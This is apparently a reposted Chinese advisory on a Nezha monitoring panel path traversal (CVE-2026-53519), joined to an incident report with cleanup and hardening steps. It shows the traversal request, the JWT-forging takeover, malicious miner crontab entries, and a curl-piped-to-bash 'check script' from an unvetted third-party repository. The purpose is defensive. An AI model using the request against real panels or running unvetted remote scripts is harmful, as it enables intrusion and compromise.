哪吒监控面板高危漏洞(CVE-2026-53519)深度分析与修复指南
CVSS 评分:9.1(严重) | 攻击复杂度:低 | 无需任何权限验证0x01 漏洞概述2026年6月,安全研究人员公开了哪吒监控面板(Nezha Monito 2026-6-19 11:54:0 Author: blog.upx8.com(查看原文) 阅读量:4 收藏

CVSS 评分:9.1(严重) | 攻击复杂度:低 | 无需任何权限验证

0x01 漏洞概述

2026年6月,安全研究人员公开了哪吒监控面板(Nezha Monitoring)的一个极高危漏洞——CVE-2026-53519。该漏洞是一个未经认证的路径遍历(Path Traversal)漏洞,允许攻击者在无需任何用户名和密码的情况下,直接读取服务器上的任意文件,并进一步伪造管理员身份接管整个面板

根据官方公告,该漏洞影响 v2.0.13 之前的所有版本,且已在互联网上被大规模扫描利用

影响范围

  • 受影响产品:Nezha Monitoring(哪吒监控面板)

  • 受影响版本:v2.0.13 之前的所有版本

  • 安全版本:v2.0.13 及后续更新版本

0x02 漏洞原理分析

根本原因:字符串匹配缺陷

该漏洞的核心问题出在 Dashboard 模块的 NoRoute 处理器中。为了处理前端路由,代码使用了 fallbackToFrontend 函数,该函数会检查请求 URL 是否以 /dashboard 开头,如果是则尝试返回对应的静态资源

然而,漏洞点在于路径匹配使用了字符串前缀(strings.HasPrefix)而非严格的路径段匹配。这导致攻击者可以构造如下恶意请求:

GET /dashboard../data/config.yaml HTTP/1.1

攻击链拆解

整个攻击过程极为简单,仅需两步即可完全接管面板

第一步:绕过认证读取敏感文件

  1. 绕过判断strings.HasPrefix 检查发现字符串以 /dashboard 开头,判定为合法前端请求。

  2. 去除前缀strings.TrimPrefix 截取后得到 ../data/config.yaml

  3. 路径拼接与归一化:程序执行 path.Join("admin-dist", "../data/config.yaml")path.Join 函数会将路径进行归一化,最终生成为 data/config.yaml

  4. 文件返回os.Stat 找到该文件,http.ServeFile 直接将其内容返回给攻击者。

通过这一步,攻击者可以轻易获取 /data/config.yaml 文件,其中包含了:

  • 数据库连接信息

  • 管理员账号与哈希密码

  • JWT 密钥(jwt_secret_key)

  • OAuth2 凭证

第二步:伪造凭证接管面板

虽然管理员密码是哈希加密的,但攻击者可以利用泄露的 jwt_secret_key,使用 HS256 算法自行伪造一个有效的管理员 JWT Cookie。只需知道管理员 ID(通常为 1),攻击者即可实现免密登录,直接获得最高管理员权限,完全控制面板及所有监控节点

--------

哪吒探针机器的 root crontab 里被植入了以下恶意条目:

* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &
* * * * * pgrep -x .kworker_u8 > /dev/null || /dev/shm/.kworker_u8 > /dev/null 2>&1 &

攻击手法分析

伪装方式:程序名模仿 Linux 内核线程(kworkerrcuop等),并在名字里插入零宽度不可见 Unicode 字符,绕过普通字符串匹配检测。

藏匿位置:挖矿二进制文件放在 /dev/shm/(内存文件系统),重启自动消失,不落盘,极难取证。

持久化方式:通过 crontab 每分钟检查进程是否存活,进程不在就重新启动,实现保活。

入侵途径:哪吒探针已知漏洞,攻击者通过面板远程命令执行功能批量向所有 agent 下发恶意 crontab,所有未禁用命令执行的服务器均受影响。

排查步骤

1. 检查 crontab

crontab -l

查看是否有包含 /dev/shm/ 路径和 pgrep 的可疑条目,名字里可能含有不可见字符。

2. 检查 /dev/shm

ls -la /dev/shm/

查看是否有以点开头的隐藏可执行文件。

3. 检查进程

ps auxf | grep -E '\./|/dev/shm'

或使用哪吒入侵自查脚本一键检测:

bash <(curl -fsSL https://testingcf.jsdelivr.net/gh/heggoodtrefz680-prog/xiadaogu@main/nezha_ioc_check.sh)

4. 查看登录记录

grep 'Accepted password' /var/log/auth.log | tail -20

确认是否有陌生 IP 成功登录。

清理步骤

如果 crontab 里只有恶意条目:

crontab -r
crontab -l  # 验证已清空

如果 crontab 里还有正常业务条目,手动删除恶意行:

crontab -e  # 找到恶意两行,Ctrl+K 删除,Ctrl+X 保存退出

杀掉内存中仍在运行的挖矿进程:

# 找到 PID
ps auxf | grep '/dev/shm'
# 杀掉
kill -9 <PID>

清理 /dev/shm 下的恶意文件:

find /dev/shm -type f -name '.*' -delete
ls -la /dev/shm/  # 验证已清空

加固措施

1. 禁用哪吒 agent 的命令执行功能

编辑 /opt/nezha/agent/config.yml,添加或修改为:

disable_command_execute: true

注意确保文件里只有一行此配置,不要重复。然后重启 agent:

systemctl restart nezha-agent

2. 升级哪吒 Dashboard

cd /opt/nezha/dashboard
docker compose pull
docker compose up -d

3. 禁用 SSH 密码登录

⚠️ 执行前确认已配置好密钥登录,否则会把自己锁在外面。

sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd

4. 收紧安全组规则

在云控制台安全组:

  • SSH(22 端口)限制为只允许自己的 IP 访问
  • MySQL(3306 端口)不对公网开放

方管修复方案

方案一:立即升级(推荐,最彻底)

官方已在 v2.0.13 版本中修复了此漏洞。修复方式是在 filepath.Join 后增加了 filepath.Abs 获取绝对路径,并使用 strings.HasPrefix(absPath, safeDirAdmin) 严格验证路径是否在允许的目录范围内,超出则返回 400 错误-5

操作步骤

  1. 登录服务器,执行官方提供的更新脚本或使用 Docker 拉取最新镜像。

  2. 务必确保后端面板和 Agent 均升级到一致的最新版本。

  3. 建议开启自动更新功能


docker pull nezhahq/nezha-dashboard:latest
docker-compose down && docker-compose up -d

总结

这次入侵的核心教训是:哪吒探针的命令执行功能(disable_command_execute)默认开启,一旦面板被攻破,所有 agent 都会沦陷。建议所有哪吒用户立即检查并关闭此功能,同时升级面板到最新版本。


参考链接


文章来源: https://blog.upx8.com/CVE-2026-53519
如有侵权请联系:admin#unsafe.sh